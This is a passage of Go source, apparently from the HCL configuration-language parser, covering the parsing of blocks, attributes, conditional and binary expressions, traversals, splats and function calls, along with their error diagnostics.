variant of ParseBody that deals with the\n// body of a nested block containing only one attribute value all on a single\n// line, like foo { bar = baz } . It expects to find a single attribute item\n// immediately followed by the end token type with no intervening newlines.\nfunc (p *parser) parseSingleAttrBody(end TokenType) (*Body, hcl.Diagnostics) {\n    ident := p.Read()\n    if ident.Type != TokenIdent {\n        p.recoverAfterBodyItem()\n        return nil, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Argument or block definition required\",\n                Detail:   \"An argument or block definition is required here.\",\n                Subject:  &ident.Range,\n            },\n        }\n    }\n\n    var attr *Attribute\n    var diags hcl.Diagnostics\n\n    next := p.Peek()\n\n    switch next.Type {\n    case TokenEqual:\n        node, attrDiags := p.finishParsingBodyAttribute(ident, true)\n        diags = append(diags, attrDiags...)\n        attr = node.(*Attribute)\n    case TokenOQuote, TokenOBrace, TokenIdent:\n        p.recoverAfterBodyItem()\n        return nil, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Argument definition required\",\n                Detail:   fmt.Sprintf(\"A single-line block definition can contain only a single argument. If you meant to define argument %q, use an equals sign to assign it a value. To define a nested block, place it on a line of its own within its parent block.\", ident.Bytes),\n                Subject:  hcl.RangeBetween(ident.Range, next.Range).Ptr(),\n            },\n        }\n    default:\n        p.recoverAfterBodyItem()\n        return nil, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Argument or block definition required\",\n                Detail:   \"An argument or block definition is required here. To set an argument, use the equals sign \\\"=\\\" to introduce the argument value.\",\n                Subject:  &ident.Range,\n            },\n        }\n    }\n\n    return &Body{\n        Attributes: Attributes{\n            string(ident.Bytes): attr,\n        },\n\n        SrcRange: attr.SrcRange,\n        EndRange: hcl.Range{\n            Filename: attr.SrcRange.Filename,\n            Start:    attr.SrcRange.End,\n            End:      attr.SrcRange.End,\n        },\n    }, diags\n\n}\n\nfunc (p *parser) finishParsingBodyAttribute(ident Token, singleLine bool) (Node, hcl.Diagnostics) {\n    eqTok := p.Read() // eat equals token\n    if eqTok.Type != TokenEqual {\n        // should never happen if caller behaves\n        panic(\"finishParsingBodyAttribute called with next not equals\")\n    }\n\n    var endRange hcl.Range\n\n    expr, diags := p.ParseExpression()\n    if p.recovery && diags.HasErrors() {\n        // recovery within expressions tends to be tricky, so we've probably\n        // landed somewhere weird. We'll try to reset to the start of a body\n        // item so parsing can continue.\n        endRange = p.PrevRange()\n        p.recoverAfterBodyItem()\n    } else {\n        endRange = p.PrevRange()\n        if !singleLine {\n            end := p.Peek()\n            if end.Type != TokenNewline && end.Type != TokenEOF {\n                if !p.recovery {\n                    summary := \"Missing newline after argument\"\n                    detail := \"An argument definition must end with a newline.\"\n\n                    if end.Type == TokenComma {\n                        summary = \"Unexpected comma after argument\"\n                        detail = \"Argument definitions must be separated by newlines, not commas. \" + detail\n                    }\n\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  summary,\n                        Detail:   detail,\n                        Subject:  &end.Range,\n                        Context:  hcl.RangeBetween(ident.Range, end.Range).Ptr(),\n                    })\n                }\n                endRange = p.PrevRange()\n                p.recoverAfterBodyItem()\n            } else {\n                endRange = p.PrevRange()\n                p.Read() // eat newline\n            }\n        }\n    }\n\n    return &Attribute{\n        Name: string(ident.Bytes),\n        Expr: expr,\n\n        SrcRange:    hcl.RangeBetween(ident.Range, endRange),\n        NameRange:   ident.Range,\n        EqualsRange: eqTok.Range,\n    }, diags\n}\n\nfunc (p *parser) finishParsingBodyBlock(ident Token) (Node, hcl.Diagnostics) {\n    var blockType = string(ident.Bytes)\n    var diags hcl.Diagnostics\n    var labels []string\n    var labelRanges []hcl.Range\n\n    var oBrace Token\n\nToken:\n    for {\n        tok := p.Peek()\n\n        switch tok.Type {\n\n        case TokenOBrace:\n            oBrace = p.Read()\n            break Token\n\n        case TokenOQuote:\n            label, labelRange, labelDiags := p.parseQuotedStringLiteral()\n            diags = append(diags, labelDiags...)\n            labels = append(labels, label)\n            labelRanges = append(labelRanges, labelRange)\n            // parseQuoteStringLiteral recovers up to the closing quote\n            // if it encounters problems, so we can continue looking for\n            // more labels and eventually the block body even.\n\n        case TokenIdent:\n            tok = p.Read() // eat token\n            label, labelRange := string(tok.Bytes), tok.Range\n            labels = append(labels, label)\n            labelRanges = append(labelRanges, labelRange)\n\n        default:\n            switch tok.Type {\n            case TokenEqual:\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Invalid block definition\",\n                    Detail:   \"The equals sign \\\"=\\\" indicates an argument definition, and must not be used when defining a block.\",\n                    Subject:  &tok.Range,\n                    Context:  hcl.RangeBetween(ident.Range, tok.Range).Ptr(),\n                })\n            case TokenNewline:\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Invalid block definition\",\n                    Detail:   \"A block definition must have block content delimited by \\\"{\\\" and \\\"}\\\", starting on the same line as the block header.\",\n                    Subject:  &tok.Range,\n                    Context:  hcl.RangeBetween(ident.Range, tok.Range).Ptr(),\n                })\n            default:\n                if !p.recovery {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Invalid block definition\",\n                        Detail:   \"Either a quoted string block label or an opening brace (\\\"{\\\") is expected here.\",\n                        Subject:  &tok.Range,\n                        Context:  hcl.RangeBetween(ident.Range, tok.Range).Ptr(),\n                    })\n                }\n            }\n\n            p.recoverAfterBodyItem()\n\n            return &Block{\n                Type:   blockType,\n                Labels: labels,\n                Body: &Body{\n                    SrcRange: ident.Range,\n                    EndRange: ident.Range,\n                },\n\n                TypeRange:       ident.Range,\n                LabelRanges:     labelRanges,\n                OpenBraceRange:  ident.Range, // placeholder\n                CloseBraceRange: ident.Range, // placeholder\n            }, diags\n        }\n    }\n\n    // Once we fall out here, the peeker is pointed just after our opening\n    // brace, so we can begin our nested body parsing.\n    var body *Body\n    var bodyDiags hcl.Diagnostics\n    switch p.Peek().Type {\n    case TokenNewline, TokenEOF, TokenCBrace:\n        body, bodyDiags = p.ParseBody(TokenCBrace)\n    default:\n        // Special one-line, single-attribute block parsing mode.\n        body, bodyDiags = p.parseSingleAttrBody(TokenCBrace)\n        switch p.Peek().Type {\n        case TokenCBrace:\n            p.Read() // the happy path - just consume the closing brace\n        case TokenComma:\n            // User seems to be trying to use the object-constructor\n            // comma-separated style, which isn't permitted for blocks.\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid single-argument block definition\",\n                Detail:   \"Single-line block syntax can include only one argument definition. To define multiple arguments, use the multi-line block syntax with one argument definition per line.\",\n                Subject:  p.Peek().Range.Ptr(),\n            })\n            p.recover(TokenCBrace)\n        case TokenNewline:\n            // We don't allow weird mixtures of single and multi-line syntax.\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid single-argument block definition\",\n                Detail:   \"An argument definition on the same line as its containing block creates a single-line block definition, which must also be closed on the same line. Place the block's closing brace immediately after the argument definition.\",\n                Subject:  p.Peek().Range.Ptr(),\n            })\n            p.recover(TokenCBrace)\n        default:\n            // Some other weird thing is going on. Since we can't guess a likely\n            // user intent for this one, we'll skip it if we're already in\n            // recovery mode.\n            if !p.recovery {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Invalid single-argument block definition\",\n                    Detail:   \"A single-line block definition must end with a closing brace immediately after its single argument definition.\",\n                    Subject:  p.Peek().Range.Ptr(),\n                })\n            }\n            p.recover(TokenCBrace)\n        }\n    }\n    diags = append(diags, bodyDiags...)\n    cBraceRange := p.PrevRange()\n\n    eol := p.Peek()\n    if eol.Type == TokenNewline || eol.Type == TokenEOF {\n        p.Read() // eat newline\n    } else {\n        if !p.recovery {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Missing newline after block definition\",\n                Detail:   \"A block definition must end with a newline.\",\n                Subject:  &eol.Range,\n                Context:  hcl.RangeBetween(ident.Range, eol.Range).Ptr(),\n            })\n        }\n        p.recoverAfterBodyItem()\n    }\n\n    // We must never produce a nil body, since the caller may attempt to\n    // do analysis of a partial result when there's an error, so we'll\n    // insert a placeholder if we otherwise failed to produce a valid\n    // body due to one of the syntax error paths above.\n    if body == nil && diags.HasErrors() {\n        body = &Body{\n            SrcRange: hcl.RangeBetween(oBrace.Range, cBraceRange),\n            EndRange: cBraceRange,\n        }\n    }\n\n    return &Block{\n        Type:   blockType,\n        Labels: labels,\n        Body:   body,\n\n        TypeRange:       ident.Range,\n        LabelRanges:     labelRanges,\n        OpenBraceRange:  oBrace.Range,\n        CloseBraceRange: cBraceRange,\n    }, diags\n}\n\nfunc (p *parser) ParseExpression() (Expression, hcl.Diagnostics) {\n    return p.parseTernaryConditional()\n}\n\nfunc (p *parser) parseTernaryConditional() (Expression, hcl.Diagnostics) {\n    // The ternary conditional operator (.. ? .. : ..) behaves somewhat\n    // like a binary operator except that the \"symbol\" is itself\n    // an expression enclosed in two punctuation characters.\n    // The middle expression is parsed as if the ? and : symbols\n    // were parentheses. The \"rhs\" (the \"false expression\") is then\n    // treated right-associatively so it behaves similarly to the\n    // middle in terms of precedence.\n\n    startRange := p.NextRange()\n    var condExpr, trueExpr, falseExpr Expression\n    var diags hcl.Diagnostics\n\n    condExpr, condDiags := p.parseBinaryOps(binaryOps)\n    diags = append(diags, condDiags...)\n    if p.recovery && condDiags.HasErrors() {\n        return condExpr, diags\n    }\n\n    questionMark := p.Peek()\n    if questionMark.Type != TokenQuestion {\n        return condExpr, diags\n    }\n\n    p.Read() // eat question mark\n\n    trueExpr, trueDiags := p.ParseExpression()\n    diags = append(diags, trueDiags...)\n    if p.recovery && trueDiags.HasErrors() {\n        return condExpr, diags\n    }\n\n    colon := p.Peek()\n    if colon.Type != TokenColon {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  \"Missing false expression in conditional\",\n            Detail:   \"The conditional operator (...?...:...) requires a false expression, delimited by a colon.\",\n            Subject:  &colon.Range,\n            Context:  hcl.RangeBetween(startRange, colon.Range).Ptr(),\n        })\n        return condExpr, diags\n    }\n\n    p.Read() // eat colon\n\n    falseExpr, falseDiags := p.ParseExpression()\n    diags = append(diags, falseDiags...)\n    if p.recovery && falseDiags.HasErrors() {\n        return condExpr, diags\n    }\n\n    return &ConditionalExpr{\n        Condition:   condExpr,\n        TrueResult:  trueExpr,\n        FalseResult: falseExpr,\n\n        SrcRange: hcl.RangeBetween(startRange, falseExpr.Range()),\n    }, diags\n}\n\n// parseBinaryOps calls itself recursively to work through all of the\n// operator precedence groups, and then eventually calls parseExpressionTerm\n// for each operand.\nfunc (p *parser) parseBinaryOps(ops []map[TokenType]*Operation) (Expression, hcl.Diagnostics) {\n    if len(ops) == 0 {\n        // We've run out of operators, so now we'll just try to parse a term.\n        return p.parseExpressionWithTraversals()\n    }\n\n    thisLevel := ops[0]\n    remaining := ops[1:]\n\n    var lhs, rhs Expression\n    var operation *Operation\n    var diags hcl.Diagnostics\n\n    // Parse a term that might be the first operand of a binary\n    // operation or it might just be a standalone term.\n    // We won't know until we've parsed it and can look ahead\n    // to see if there's an operator token for this level.\n    lhs, lhsDiags := p.parseBinaryOps(remaining)\n    diags = append(diags, lhsDiags...)\n    if p.recovery && lhsDiags.HasErrors() {\n        return lhs, diags\n    }\n\n    // We'll keep eating up operators until we run out, so that operators\n    // with the same precedence will combine in a left-associative manner:\n    // a+b+c => (a+b)+c, not a+(b+c)\n    //\n    // Should we later want to have right-associative operators, a way\n    // to achieve that would be to call back up to ParseExpression here\n    // instead of iteratively parsing only the remaining operators.\n    for {\n        next := p.Peek()\n        var newOp *Operation\n        var ok bool\n        if newOp, ok = thisLevel[next.Type]; !ok {\n            break\n        }\n\n        // Are we extending an expression started on the previous iteration?\n        if operation != nil {\n            lhs = &BinaryOpExpr{\n                LHS: lhs,\n                Op:  operation,\n                RHS: rhs,\n\n                SrcRange: hcl.RangeBetween(lhs.Range(), rhs.Range()),\n            }\n        }\n\n        operation = newOp\n        p.Read() // eat operator token\n        var rhsDiags hcl.Diagnostics\n        rhs, rhsDiags = p.parseBinaryOps(remaining)\n        diags = append(diags, rhsDiags...)\n        if p.recovery && rhsDiags.HasErrors() {\n            return lhs, diags\n        }\n    }\n\n    if operation == nil {\n        return lhs, diags\n    }\n\n    return &BinaryOpExpr{\n        LHS: lhs,\n        Op:  operation,\n        RHS: rhs,\n\n        SrcRange: hcl.RangeBetween(lhs.Range(), rhs.Range()),\n    }, diags\n}\n\nfunc (p *parser) parseExpressionWithTraversals() (Expression, hcl.Diagnostics) {\n    term, diags := p.parseExpressionTerm()\n    ret, moreDiags := p.parseExpressionTraversals(term)\n    diags = append(diags, moreDiags...)\n    return ret, diags\n}\n\nfunc (p *parser) parseExpressionTraversals(from Expression) (Expression, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n    ret := from\n\nTraversal:\n    for {\n        next := p.Peek()\n\n        switch next.Type {\n        case TokenDot:\n            // Attribute access or splat\n            dot := p.Read()\n            attrTok := p.Peek()\n\n            switch attrTok.Type {\n            case TokenIdent:\n                attrTok = p.Read() // eat token\n                name := string(attrTok.Bytes)\n                rng := hcl.RangeBetween(dot.Range, attrTok.Range)\n                step := hcl.TraverseAttr{\n                    Name:     name,\n                    SrcRange: rng,\n                }\n\n                ret = makeRelativeTraversal(ret, step, rng)\n\n            case TokenNumberLit:\n                // This is a weird form we inherited from HIL, allowing numbers\n                // to be used as attributes as a weird way of writing [n].\n                // This was never actually a first-class thing in HIL, but\n                // HIL tolerated sequences like .0. in its variable names and\n                // calling applications like Terraform exploited that to\n                // introduce indexing syntax where none existed.\n                numTok := p.Read() // eat token\n                attrTok = numTok\n\n                // This syntax is ambiguous if multiple indices are used in\n                // succession, like foo.0.1.baz: that actually parses as\n                // a fractional number 0.1. Since we're only supporting this\n                // syntax for compatibility with legacy Terraform\n                // configurations, and Terraform does not tend to have lists\n                // of lists, we'll choose to reject that here with a helpful\n                // error message, rather than failing later because the index\n                // isn't a whole number.\n                if dotIdx := bytes.IndexByte(numTok.Bytes, '.'); dotIdx >= 0 {\n                    first := numTok.Bytes[:dotIdx]\n                    second := numTok.Bytes[dotIdx+1:]\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Invalid legacy index syntax\",\n                        Detail:   fmt.Sprintf(\"When using the legacy index syntax, chaining two indexes together is not permitted. Use the proper index syntax instead, like [%s][%s].\", first, second),\n                        Subject:  &attrTok.Range,\n                    })\n                    rng := hcl.RangeBetween(dot.Range, numTok.Range)\n                    step := hcl.TraverseIndex{\n                        Key:      cty.DynamicVal,\n                        SrcRange: rng,\n                    }\n                    ret = makeRelativeTraversal(ret, step, rng)\n                    break\n                }\n\n                numVal, numDiags := p.numberLitValue(numTok)\n                diags = append(diags, numDiags...)\n\n                rng := hcl.RangeBetween(dot.Range, numTok.Range)\n                step := hcl.TraverseIndex{\n                    Key:      numVal,\n                    SrcRange: rng,\n                }\n\n                ret = makeRelativeTraversal(ret, step, rng)\n\n            case TokenStar:\n                // \"Attribute-only\" splat expression.\n                // (This is a kinda weird construct inherited from HIL, which\n                // behaves a bit like a [*] splat except that it is only able\n                // to do attribute traversals into each of its elements,\n                // whereas foo[*] can support _any_ traversal.\n                marker := p.Read() // eat star\n                trav := make(hcl.Traversal, 0, 1)\n                var firstRange, lastRange hcl.Range\n                firstRange = p.NextRange()\n                lastRange = marker.Range\n                for p.Peek().Type == TokenDot {\n                    dot := p.Read()\n\n                    if p.Peek().Type == TokenNumberLit {\n                        // Continuing the \"weird stuff inherited from HIL\"\n                        // theme, we also allow numbers as attribute names\n                        // inside splats and interpret them as indexing\n                        // into a list, for expressions like:\n                        // foo.bar.*.baz.0.foo\n                        numTok := p.Read()\n\n                        // Weird special case if the user writes something\n                        // like foo.bar.*.baz.0.0.foo, where 0.0 parses\n                        // as a number.\n                        if dotIdx := bytes.IndexByte(numTok.Bytes, '.'); dotIdx >= 0 {\n                            first := numTok.Bytes[:dotIdx]\n                            second := numTok.Bytes[dotIdx+1:]\n                            diags = append(diags, &hcl.Diagnostic{\n                                Severity: hcl.DiagError,\n                                Summary:  \"Invalid legacy index syntax\",\n                                Detail:   fmt.Sprintf(\"When using the legacy index syntax, chaining two indexes together is not permitted. Use the proper index syntax with a full splat expression [*] instead, like [%s][%s].\", first, second),\n                                Subject:  &attrTok.Range,\n                            })\n                            trav = append(trav, hcl.TraverseIndex{\n                                Key:      cty.DynamicVal,\n                                SrcRange: hcl.RangeBetween(dot.Range, numTok.Range),\n                            })\n                            lastRange = numTok.Range\n                            continue\n                        }\n\n                        numVal, numDiags := p.numberLitValue(numTok)\n                        diags = append(diags, numDiags...)\n                        trav = append(trav, hcl.TraverseIndex{\n                            Key:      numVal,\n                            SrcRange: hcl.RangeBetween(dot.Range, numTok.Range),\n                        })\n                        lastRange = numTok.Range\n                        continue\n                    }\n\n                    if p.Peek().Type != TokenIdent {\n                        if !p.recovery {\n                            if p.Peek().Type == TokenStar {\n                                diags = append(diags, &hcl.Diagnostic{\n                                    Severity: hcl.DiagError,\n                                    Summary:  \"Nested splat expression not allowed\",\n                                    Detail:   \"A splat expression (*) cannot be used inside another attribute-only splat expression.\",\n                                    Subject:  p.Peek().Range.Ptr(),\n                                })\n                            } else {\n                                diags = append(diags, &hcl.Diagnostic{\n                                    Severity: hcl.DiagError,\n                                    Summary:  \"Invalid attribute name\",\n                                    Detail:   \"An attribute name is required after a dot.\",\n                                    Subject:  &attrTok.Range,\n                                })\n                            }\n                        }\n                        p.setRecovery()\n                        continue Traversal\n                    }\n\n                    attrTok := p.Read()\n                    trav = append(trav, hcl.TraverseAttr{\n                        Name:     string(attrTok.Bytes),\n                        SrcRange: hcl.RangeBetween(dot.Range, attrTok.Range),\n                    })\n                    lastRange = attrTok.Range\n                }\n\n                itemExpr := &AnonSymbolExpr{\n                    SrcRange: hcl.RangeBetween(dot.Range, marker.Range),\n                }\n                var travExpr Expression\n                if len(trav) == 0 {\n                    travExpr = itemExpr\n                } else {\n                    travExpr = &RelativeTraversalExpr{\n                        Source:    itemExpr,\n                        Traversal: trav,\n                        SrcRange:  hcl.RangeBetween(firstRange, lastRange),\n                    }\n                }\n\n                ret = &SplatExpr{\n                    Source: ret,\n                    Each:   travExpr,\n                    Item:   itemExpr,\n\n                    SrcRange:    hcl.RangeBetween(from.Range(), lastRange),\n                    MarkerRange: hcl.RangeBetween(dot.Range, marker.Range),\n                }\n\n            default:\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Invalid attribute name\",\n                    Detail:   \"An attribute name is required after a dot.\",\n                    Subject:  &attrTok.Range,\n                })\n                // This leaves the peeker in a bad place, so following items\n                // will probably be misparsed until we hit something that\n                // allows us to re-sync.\n                //\n                // We will probably need to do something better here eventually\n                // in order to support autocomplete triggered by typing a\n                // period.\n                p.setRecovery()\n            }\n\n        case TokenOBrack:\n            // Indexing of a collection.\n            // This may or may not be a hcl.Traverser, depending on whether\n            // the key value is something constant.\n\n            open := p.Read()\n            switch p.Peek().Type {\n            case TokenStar:\n                // This is a full splat expression, like foo[*], which consumes\n                // the rest of the traversal steps after it using a recursive\n                // call to this function.\n                p.Read() // consume star\n                close := p.Read()\n                if close.Type != TokenCBrack && !p.recovery {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Missing close bracket on splat index\",\n                        Detail:   \"The star for a full splat operator must be immediately followed by a closing bracket (\\\"]\\\").\",\n                        Subject:  &close.Range,\n                    })\n                    close = p.recover(TokenCBrack)\n                }\n                // Splat expressions use a special \"anonymous symbol\"  as a\n                // placeholder in an expression to be evaluated once for each\n                // item in the source expression.\n                itemExpr := &AnonSymbolExpr{\n                    SrcRange: hcl.RangeBetween(open.Range, close.Range),\n                }\n                // Now we'll recursively call this same function to eat any\n                // remaining traversal steps against the anonymous symbol.\n                travExpr, nestedDiags := p.parseExpressionTraversals(itemExpr)\n                diags = append(diags, nestedDiags...)\n\n                ret = &SplatExpr{\n                    Source: ret,\n                    Each:   travExpr,\n                    Item:   itemExpr,\n\n                    SrcRange:    hcl.RangeBetween(from.Range(), travExpr.Range()),\n                    MarkerRange: hcl.RangeBetween(open.Range, close.Range),\n                }\n\n            default:\n\n                var close Token\n                p.PushIncludeNewlines(false) // arbitrary newlines allowed in brackets\n                keyExpr, keyDiags := p.ParseExpression()\n                diags = append(diags, keyDiags...)\n                if p.recovery && keyDiags.HasErrors() {\n                    close = p.recover(TokenCBrack)\n                } else {\n                    close = p.Read()\n                    if close.Type != TokenCBrack && !p.recovery {\n                        diags = append(diags, &hcl.Diagnostic{\n                            Severity: hcl.DiagError,\n                            Summary:  \"Missing close bracket on index\",\n                            Detail:   \"The index operator must end with a closing bracket (\\\"]\\\").\",\n                            Subject:  &close.Range,\n                        })\n                        close = p.recover(TokenCBrack)\n                    }\n                }\n                p.PopIncludeNewlines()\n\n                if lit, isLit := keyExpr.(*LiteralValueExpr); isLit {\n                    litKey, _ := lit.Value(nil)\n                    rng := hcl.RangeBetween(open.Range, close.Range)\n                    step := hcl.TraverseIndex{\n                        Key:      litKey,\n                        SrcRange: rng,\n                    }\n                    ret = makeRelativeTraversal(ret, step, rng)\n                } else if tmpl, isTmpl := keyExpr.(*TemplateExpr); isTmpl && tmpl.IsStringLiteral() {\n                    litKey, _ := tmpl.Value(nil)\n                    rng := hcl.RangeBetween(open.Range, close.Range)\n                    step := hcl.TraverseIndex{\n                        Key:      litKey,\n                        SrcRange: rng,\n                    }\n                    ret = makeRelativeTraversal(ret, step, rng)\n                } else {\n                    rng := hcl.RangeBetween(open.Range, close.Range)\n                    ret = &IndexExpr{\n                        Collection: ret,\n                        Key:        keyExpr,\n\n                        SrcRange:     hcl.RangeBetween(from.Range(), rng),\n                        OpenRange:    open.Range,\n                        BracketRange: rng,\n                    }\n                }\n            }\n\n        default:\n            break Traversal\n        }\n    }\n\n    return ret, diags\n}\n\n// makeRelativeTraversal takes an expression and a traverser and returns\n// a traversal expression that combines the two. If the given expression\n// is already a traversal, it is extended in place (mutating it) and\n// returned. If it isn't, a new RelativeTraversalExpr is created and returned.\nfunc makeRelativeTraversal(expr Expression, next hcl.Traverser, rng hcl.Range) Expression {\n    switch texpr := expr.(type) {\n    case *ScopeTraversalExpr:\n        texpr.Traversal = append(texpr.Traversal, next)\n        texpr.SrcRange = hcl.RangeBetween(texpr.SrcRange, rng)\n        return texpr\n    case *RelativeTraversalExpr:\n        texpr.Traversal = append(texpr.Traversal, next)\n        texpr.SrcRange = hcl.RangeBetween(texpr.SrcRange, rng)\n        return texpr\n    default:\n        return &RelativeTraversalExpr{\n            Source:    expr,\n            Traversal: hcl.Traversal{next},\n            SrcRange:  hcl.RangeBetween(expr.Range(), rng),\n        }\n    }\n}\n\nfunc (p *parser) parseExpressionTerm() (Expression, hcl.Diagnostics) {\n    start := p.Peek()\n\n    switch start.Type {\n    case TokenOParen:\n        oParen := p.Read() // eat open paren\n\n        p.PushIncludeNewlines(false)\n\n        expr, diags := p.ParseExpression()\n        if diags.HasErrors() {\n            // attempt to place the peeker after our closing paren\n            // before we return, so that the next parser has some\n            // chance of finding a valid expression.\n            p.recover(TokenCParen)\n            p.PopIncludeNewlines()\n            return expr, diags\n        }\n\n        close := p.Peek()\n        if close.Type != TokenCParen {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Unbalanced parentheses\",\n                Detail:   \"Expected a closing parenthesis to terminate the expression.\",\n                Subject:  &close.Range,\n                Context:  hcl.RangeBetween(start.Range, close.Range).Ptr(),\n            })\n            p.setRecovery()\n        }\n\n        cParen := p.Read() // eat closing paren\n        p.PopIncludeNewlines()\n\n        // Our parser's already taken care of the precedence effect of the\n        // parentheses by considering them to be a kind of \"term\", but we\n        // still need to include the parentheses in our AST so we can give\n        // an accurate representation of the source range that includes the\n        // open and closing parentheses.\n        expr = &ParenthesesExpr{\n            Expression: expr,\n            SrcRange:   hcl.RangeBetween(oParen.Range, cParen.Range),\n        }\n\n        return expr, diags\n\n    case TokenNumberLit:\n        tok := p.Read() // eat number token\n\n        numVal, diags := p.numberLitValue(tok)\n        return &LiteralValueExpr{\n            Val:      numVal,\n            SrcRange: tok.Range,\n        }, diags\n\n    case TokenIdent:\n        tok := p.Read() // eat identifier token\n\n        if p.Peek().Type == TokenOParen {\n            return p.finishParsingFunctionCall(tok)\n        }\n\n        name := string(tok.Bytes)\n        switch name {\n        case \"true\":\n            return &LiteralValueExpr{\n                Val:      cty.True,\n                SrcRange: tok.Range,\n            }, nil\n        case \"false\":\n            return &LiteralValueExpr{\n                Val:      cty.False,\n                SrcRange: tok.Range,\n            }, nil\n        case \"null\":\n            return &LiteralValueExpr{\n                Val:      cty.NullVal(cty.DynamicPseudoType),\n                SrcRange: tok.Range,\n            }, nil\n        default:\n            return &ScopeTraversalExpr{\n                Traversal: hcl.Traversal{\n                    hcl.TraverseRoot{\n                        Name:     name,\n                        SrcRange: tok.Range,\n                    },\n                },\n                SrcRange: tok.Range,\n            }, nil\n        }\n\n    case TokenOQuote, TokenOHeredoc:\n        open := p.Read() // eat opening marker\n        closer := p.oppositeBracket(open.Type)\n        exprs, passthru, _, diags := p.parseTemplateInner(closer, tokenOpensFlushHeredoc(open))\n\n        closeRange := p.PrevRange()\n\n        if passthru {\n            if len(exprs) != 1 {\n                panic(\"passthru set with len(exprs) != 1\")\n            }\n            return &TemplateWrapExpr{\n                Wrapped:  exprs[0],\n                SrcRange: hcl.RangeBetween(open.Range, closeRange),\n            }, diags\n        }\n\n        return &TemplateExpr{\n            Parts:    exprs,\n            SrcRange: hcl.RangeBetween(open.Range, closeRange),\n        }, diags\n\n    case TokenMinus:\n        tok := p.Read() // eat minus token\n\n        // Important to use parseExpressionWithTraversals rather than parseExpression\n        // here, otherwise we can capture a following binary expression into\n        // our negation.\n        // e.g. -46+5 should parse as (-46)+5, not -(46+5)\n        operand, diags := p.parseExpressionWithTraversals()\n        return &UnaryOpExpr{\n            Op:  OpNegate,\n            Val: operand,\n\n            SrcRange:    hcl.RangeBetween(tok.Range, operand.Range()),\n            SymbolRange: tok.Range,\n        }, diags\n\n    case TokenBang:\n        tok := p.Read() // eat bang token\n\n        // Important to use parseExpressionWithTraversals rather than parseExpression\n        // here, otherwise we can capture a following binary expression into\n        // our negation.\n        operand, diags := p.parseExpressionWithTraversals()\n        return &UnaryOpExpr{\n            Op:  OpLogicalNot,\n            Val: operand,\n\n            SrcRange:    hcl.RangeBetween(tok.Range, operand.Range()),\n            SymbolRange: tok.Range,\n        }, diags\n\n    case TokenOBrack:\n        return p.parseTupleCons()\n\n    case TokenOBrace:\n        return p.parseObjectCons()\n\n    default:\n        var diags hcl.Diagnostics\n        if !p.recovery {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid expression\",\n                Detail:   \"Expected the start of an expression, but found an invalid expression token.\",\n                Subject:  &start.Range,\n            })\n        }\n        p.setRecovery()\n\n        // Return a placeholder so that the AST is still structurally sound\n        // even in the presence of parse errors.\n        return &LiteralValueExpr{\n            Val:      cty.DynamicVal,\n            SrcRange: start.Range,\n        }, diags\n    }\n}\n\nfunc (p *parser) numberLitValue(tok Token) (cty.Value, hcl.Diagnostics) {\n    // The cty.ParseNumberVal is always the same behavior as converting a\n    // string to a number, ensuring we always interpret decimal numbers in\n    // the same way.\n    numVal, err := cty.ParseNumberVal(string(tok.Bytes))\n    if err != nil {\n        ret := cty.UnknownVal(cty.Number)\n        return ret, hcl.Diagnostics{\n            {\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid number literal\",\n                // FIXME: not a very good error message, but convert only\n                // gives us \"a number is required\", so not much help either.\n                Detail:  \"Failed to recognize the value of this number literal.\",\n                Subject: &tok.Range,\n            },\n        }\n    }\n    return numVal, nil\n}\n\n// finishParsingFunctionCall parses a function call assuming that the function\n// name was already read, and so the peeker should be pointing at the opening\n// parenthesis after the name.\nfunc (p *parser) finishParsingFunctionCall(name Token) (Expression, hcl.Diagnostics) {\n    openTok := p.Read()\n    if openTok.Type != TokenOParen {\n        // should never happen if callers behave\n        panic(\"finishParsingFunctionCall called with non-parenthesis as next token\")\n    }\n\n    var args []Expression\n    var diags hcl.Diagnostics\n    var expandFinal bool\n    var closeTok Token\n\n    // Arbitrary newlines are allowed inside the function call parentheses.\n    p.PushIncludeNewlines(false)\n\nToken:\n    for {\n        tok := p.Peek()\n\n        if tok.Type == TokenCParen {\n            closeTok = p.Read() // eat closing paren\n            break Token\n        }\n\n        arg, argDiags := p.ParseExpression()\n        args = append(args, arg)\n        diags = append(diags, argDiags...)\n        if p.recovery && argDiags.HasErrors() {\n            // if there was a parse error in the argument then we've\n            // probably been left in a weird place in the token stream,\n            // so we'll bail out with a partial argument list.\n            p.recover(TokenCParen)\n            break Token\n        }\n\n        sep := p.Read()\n        if sep.Type == TokenCParen {\n            closeTok = sep\n            break Token\n        }\n\n        if sep.Type == TokenEllipsis {\n            expandFinal = true\n\n            if p.Peek().Type != TokenCParen {\n                if !p.recovery {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Missing closing parenthesis\",\n                        Detail:   \"An expanded function argument (with ...) must be immediately followed by closing parentheses.\",\n                        Subject:  &sep.Range,\n                        Context:  hcl.RangeBetween(name.Range, sep.Range).Ptr(),\n                    })\n                }\n                closeTok = p.recover(TokenCParen)\n            } else {\n                